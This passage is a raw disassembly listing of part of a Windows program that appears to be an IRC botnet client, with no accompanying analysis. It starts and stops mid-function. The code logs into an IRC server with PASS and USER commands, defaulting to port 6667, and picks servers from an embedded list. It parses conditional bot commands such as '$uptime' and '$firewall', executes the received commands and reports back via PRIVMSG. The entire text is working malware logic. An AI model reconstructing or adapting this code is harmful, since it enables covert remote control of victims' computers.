		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63D8],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63C4],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D4],	eax
		mov	eax, [ebp+var_63D8]
		cmp	eax, [ebp+var_63C8]
		jnb	short loc_40C715
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C715:				; CODE XREF: sub_40A9CF+1D3Fj
		call	sub_409318
		mov	[ebp+var_63C0],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63CC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D0],	eax
		cmp	[ebp+var_63D0],	1
		jnz	short loc_40C793
		mov	[ebp+var_6410],	offset byte_41DE00
		jmp	short loc_40C79D
; ---------------------------------------------------------------------------


loc_40C793:				; CODE XREF: sub_40A9CF+1DB6j
		mov	[ebp+var_6410],	offset dword_4191F4


loc_40C79D:				; CODE XREF: sub_40A9CF+1DC2j
		cmp	[ebp+var_63DC],	1
		jnz	short loc_40C7B2
		mov	[ebp+var_6414],	offset byte_41DE00
		jmp	short loc_40C7BC
; ---------------------------------------------------------------------------


loc_40C7B2:				; CODE XREF: sub_40A9CF+1DD5j
		mov	[ebp+var_6414],	offset dword_4191F4


loc_40C7BC:				; CODE XREF: sub_40A9CF+1DE1j
		cmp	[ebp+var_63CC],	1
		jnz	short loc_40C7D1
		mov	[ebp+var_6418],	offset byte_41DE00
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------


loc_40C7D1:				; CODE XREF: sub_40A9CF+1DF4j
		mov	[ebp+var_6418],	offset dword_4191F4


loc_40C7DB:				; CODE XREF: sub_40A9CF+1E00j
		cmp	[ebp+var_63D4],	1
		jnz	short loc_40C7F0
		mov	[ebp+var_641C],	offset byte_41DE00
		jmp	short loc_40C7FA
; ---------------------------------------------------------------------------


loc_40C7F0:				; CODE XREF: sub_40A9CF+1E13j
		mov	[ebp+var_641C],	offset dword_4191F4


loc_40C7FA:				; CODE XREF: sub_40A9CF+1E1Fj
		cmp	[ebp+var_63C4],	1
		jnz	short loc_40C80F
		mov	[ebp+var_6420],	offset byte_41DE00
		jmp	short loc_40C819
; ---------------------------------------------------------------------------


loc_40C80F:				; CODE XREF: sub_40A9CF+1E32j
		mov	[ebp+var_6420],	offset dword_4191F4


loc_40C819:				; CODE XREF: sub_40A9CF+1E3Ej
		cmp	[ebp+var_63D8],	1
		jnz	short loc_40C82E
		mov	[ebp+var_6424],	offset byte_41DE00
		jmp	short loc_40C838
; ---------------------------------------------------------------------------


loc_40C82E:				; CODE XREF: sub_40A9CF+1E51j
		mov	[ebp+var_6424],	offset dword_4191F4


loc_40C838:				; CODE XREF: sub_40A9CF+1E5Dj
		push	[ebp+var_6410]
		push	[ebp+var_63D0]
		push	[ebp+var_6414]
		push	[ebp+var_63DC]
		push	[ebp+var_6418]
		push	[ebp+var_63CC]
		push	[ebp+var_641C]
		push	[ebp+var_63D4]
		push	[ebp+var_6420]
		push	[ebp+var_63C4]
		push	[ebp+var_6424]
		push	[ebp+var_63D8]
		push	offset dword_419708
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 38h
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C896:				; CODE XREF: sub_40A9CF+1C94j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419700
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C912
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C8BD
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40C8BF


loc_40C8BD:				; CODE XREF: sub_40A9CF+1EE3j
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C8BF:				; CODE XREF: sub_40A9CF+1EECj
		push	2
		push	offset aId	; "id"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C8EA
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41EE98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40C8EA:				; CODE XREF: sub_40A9CF+1F07j
		push	offset aUsername ; "username"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40C912
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41F018
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40C912:				; CODE XREF: sub_40A9CF+85j
					; sub_40A9CF+D8j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40A9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C916	proc near		; CODE XREF: sub_40CA29+47Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_40C919:				; CODE XREF: sub_40C916+1Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_40C937
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C937
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40C919
; ---------------------------------------------------------------------------


loc_40C937:				; CODE XREF: sub_40C916+Cj
					; sub_40C916+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40C916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C93C	proc near		; DATA XREF: sub_40CEB0+66o

var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_38F		= byte ptr -38Fh
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_534]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		and	[ebp+var_20C], 0


loc_40C98D:				; CODE XREF: sub_40C93C+D6j
		cmp	[ebp+var_204], 0
		jnz	short loc_40C998
		jmp	short loc_40CA17
; ---------------------------------------------------------------------------


loc_40C998:				; CODE XREF: sub_40C93C+58j
					; sub_40C93C+79j
		mov	eax, [ebp+var_204]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40C9A8
		jmp	short loc_40C9B7
; ---------------------------------------------------------------------------


loc_40C9A8:				; CODE XREF: sub_40C93C+68j
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax
		jmp	short loc_40C998
; ---------------------------------------------------------------------------


loc_40C9B7:				; CODE XREF: sub_40C93C+6Aj
		push	[ebp+var_204]
		lea	eax, [ebp+var_38F]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_20C]
		mov	[ebp+var_204], eax
		jmp	loc_40C98D
; ---------------------------------------------------------------------------


loc_40CA17:				; CODE XREF: sub_40C93C+5Aj
		push	[ebp+var_534]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40C93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA29	proc near		; CODE XREF: sub_40CEB0+8p

var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ECh
		cmp	[ebp+arg_0], 0
		jz	short loc_40CA43
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 28h
		jz	short loc_40CA4A


loc_40CA43:				; CODE XREF: sub_40CA29+Dj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA4A:				; CODE XREF: sub_40CA29+18j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	offset asc_419FB0 ; ")"
		push	[ebp+arg_0]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_40CA70
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA70:				; CODE XREF: sub_40CA29+3Ej
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		cmp	eax, 180h
		jbe	short loc_40CA8A
		mov	[ebp+var_1EC], 180h
		jmp	short loc_40CA97
; ---------------------------------------------------------------------------


loc_40CA8A:				; CODE XREF: sub_40CA29+53j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_1EC], eax


loc_40CA97:				; CODE XREF: sub_40CA29+5Fj
		push	[ebp+var_1EC]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1
		push	1
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		and	[ebp+var_C], 0


loc_40CAE1:				; CODE XREF: sub_40CA29+475j
		cmp	[ebp+var_4], 0
		jnz	short loc_40CAEC
		jmp	loc_40CEA3
; ---------------------------------------------------------------------------


loc_40CAEC:				; CODE XREF: sub_40CA29+BCj
					; sub_40CA29+D7j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40CAF9
		jmp	short loc_40CB02
; ---------------------------------------------------------------------------


loc_40CAF9:				; CODE XREF: sub_40CA29+CCj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40CAEC
; ---------------------------------------------------------------------------


loc_40CB02:				; CODE XREF: sub_40CA29+CEj
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	[ebp+var_4]
		call	sub_416BA2	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jz	short loc_40CB33
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CB33:				; CODE XREF: sub_40CA29+101j
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A4], eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A8], eax
		cmp	[ebp+var_1A4], 0
		jnz	loc_40CC6E
		push	offset dword_418F50
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CC6E
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBB1
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A4], eax
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBB1:				; CODE XREF: sub_40CA29+16Dj
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBD7
		mov	[ebp+var_1A4], 3B7h
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBD7:				; CODE XREF: sub_40CA29+19Dj
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBFB
		call	sub_408E8E
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBFB:				; CODE XREF: sub_40CA29+1C3j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC1F
		call	sub_408887
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC1F:				; CODE XREF: sub_40CA29+1E7j
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC43
		call	sub_404279
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC43:				; CODE XREF: sub_40CA29+20Bj
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC67
		call	sub_4043E9
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC67:				; CODE XREF: sub_40CA29+22Fj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CC6E:				; CODE XREF: sub_40CA29+137j
					; sub_40CA29+152j ...
		cmp	[ebp+var_1A8], 0
		jnz	loc_40CD83
		push	offset dword_418F50
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CD83
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCC6
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A8], eax
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCC6:				; CODE XREF: sub_40CA29+282j
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCEC
		mov	[ebp+var_1A8], 3B7h
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCEC:				; CODE XREF: sub_40CA29+2B2j
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD10
		call	sub_408E8E
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD10:				; CODE XREF: sub_40CA29+2D8j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD34
		call	sub_408887
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD34:				; CODE XREF: sub_40CA29+2FCj
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD58
		call	sub_404279
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD58:				; CODE XREF: sub_40CA29+320j
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD7C
		call	sub_4043E9
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD7C:				; CODE XREF: sub_40CA29+344j
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CD83:				; CODE XREF: sub_40CA29+24Cj
					; sub_40CA29+267j ...
		push	offset asc_419F5C ; "=="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDAF
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jz	short loc_40CDAF
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDAF:				; CODE XREF: sub_40CA29+36Fj
					; sub_40CA29+37Dj
		push	offset asc_419F58 ; "!="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDDB
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnz	short loc_40CDDB
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDDB:				; CODE XREF: sub_40CA29+39Bj
					; sub_40CA29+3A9j
		push	offset asc_419F54 ; ">"
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE07
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		ja	short loc_40CE07
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE07:				; CODE XREF: sub_40CA29+3C7j
					; sub_40CA29+3D5j
		push	offset asc_419F50 ; ">="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE30
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnb	short loc_40CE30
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE30:				; CODE XREF: sub_40CA29+3F3j
					; sub_40CA29+401j
		push	offset dword_419968
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE59
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jb	short loc_40CE59
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE59:				; CODE XREF: sub_40CA29+41Cj
					; sub_40CA29+42Aj
		push	offset asc_419F4C ; "<="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE82
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jbe	short loc_40CE82
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE82:				; CODE XREF: sub_40CA29+445j
					; sub_40CA29+453j
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_40CAE1
; ---------------------------------------------------------------------------


loc_40CEA3:				; CODE XREF: sub_40CA29+BEj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		call	sub_40C916
		pop	ecx

locret_40CEAE:				; CODE XREF: sub_40CA29+1Cj
					; sub_40CA29+42j ...
		leave
		retn
sub_40CA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEB0	proc near		; CODE XREF: sub_40A9CF+14CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	sub_40CA29
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40CEC9
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEC9:				; CODE XREF: sub_40CEB0+15j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40CEDF
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEDF:				; CODE XREF: sub_40CEB0+2Bj
		push	180h
		push	[ebp+var_8]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	[ebp+var_4]
		push	offset sub_40C93C
		call	sub_4095A4
		add	esp, 14h

locret_40CF23:				; CODE XREF: sub_40CEB0+17j
					; sub_40CEB0+2Dj
		leave
		retn
sub_40CEB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF25	proc near		; CODE XREF: sub_4020C2+B3p
					; sub_40D871+59Bp ...
		push	ebp
		mov	ebp, esp
		mov	eax, dword_41E974
		pop	ebp
		retn
sub_40CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF2F	proc near		; CODE XREF: sub_40D366+Dp
					; sub_40D366+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_40CF9E
		push	[ebp+arg_0]
		push	offset dword_41E868
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40CF60
		push	[ebp+arg_4]
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF71
; ---------------------------------------------------------------------------


loc_40CF60:				; CODE XREF: sub_40CF2F+1Ej
		push	offset a6667	; "6667"
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40CF71:				; CODE XREF: sub_40CF2F+2Fj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CF88
		push	[ebp+arg_8]
		push	offset byte_41E6E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF99
; ---------------------------------------------------------------------------


loc_40CF88:				; CODE XREF: sub_40CF2F+46j
		push	offset byte_41DE00
		push	offset byte_41E6E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40CF99:				; CODE XREF: sub_40CF2F+57j
		jmp	loc_40D020
; ---------------------------------------------------------------------------


loc_40CF9E:				; CODE XREF: sub_40CF2F+9j
		and	[ebp+var_4], 0
		jmp	short loc_40CFAB
; ---------------------------------------------------------------------------


loc_40CFA4:				; CODE XREF: sub_40CF2F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CFAB:				; CODE XREF: sub_40CF2F+73j
		mov	eax, [ebp+var_4]
		imul	eax, 0Ch
		cmp	off_41DA40[eax], 0
		jz	short loc_40CFBC
		jmp	short loc_40CFA4
; ---------------------------------------------------------------------------


loc_40CFBC:				; CODE XREF: sub_40CF2F+89j
		call	sub_410422
		xor	edx, edx
		div	[ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA40[eax]
		push	offset dword_41E868
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA44[eax]
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	off_41DA48[eax], 0
		jz	short loc_40D020
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA48[eax]
		push	offset byte_41E6E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D020:				; CODE XREF: sub_40CF2F:loc_40CF99j
					; sub_40CF2F+D7j
		push	offset dword_41E868
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E968
		call	sub_4105AD
		pop	ecx
		push	offset byte_41E6E8
		call	sub_4105AD
		pop	ecx
		leave
		retn
sub_40CF2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D043	proc near		; CODE XREF: sub_40D366+7Fp
					; sub_40D871+619p

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		movsx	eax, byte_41E6E8
		test	eax, eax
		jz	short loc_40D099
		push	offset byte_41E6E8
		call	sub_4105FB
		pop	ecx
		push	offset byte_41E6E8
		push	offset aPassS	; "PASS	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset byte_41E6E8
		call	sub_4105AD
		pop	ecx


loc_40D099:				; CODE XREF: sub_40D043+2Dj
		cmp	[ebp+arg_0], 0
		jz	loc_40D132
		movsx	eax, byte_41EE98
		test	eax, eax
		jz	short loc_40D0C3
		push	offset byte_41EE98
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D0C3:				; CODE XREF: sub_40D043+69j
		lea	eax, [ebp+var_184]
		push	eax
		push	offset byte_41EE98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D0D6:				; CODE XREF: sub_40D043+7Ej
		movsx	eax, byte_41F018
		test	eax, eax
		jz	short loc_40D0F6
		push	offset byte_41F018
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D109
; ---------------------------------------------------------------------------


loc_40D0F6:				; CODE XREF: sub_40D043+9Cj
		lea	eax, [ebp+var_104]
		push	eax
		push	offset byte_41F018
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D109:				; CODE XREF: sub_40D043+B1j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_40D6CB
		add	esp, 14h


loc_40D132:				; CODE XREF: sub_40D043+5Aj
		cmp	[ebp+arg_4], 0
		jz	loc_40D363
		cmp	[ebp+arg_0], 0
		jz	short loc_40D163
		movsx	eax, byte_41EE18
		test	eax, eax
		jz	short loc_40D163
		push	offset byte_41EE18
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40D363
; ---------------------------------------------------------------------------


loc_40D163:				; CODE XREF: sub_40D043+FDj
					; sub_40D043+108j
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
